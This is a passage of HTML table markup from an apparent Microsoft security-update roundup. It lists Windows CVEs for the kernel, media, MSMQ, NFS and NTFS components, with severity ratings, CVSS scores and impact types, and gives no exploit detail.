  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58640"><span>CVE-2026-58640</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
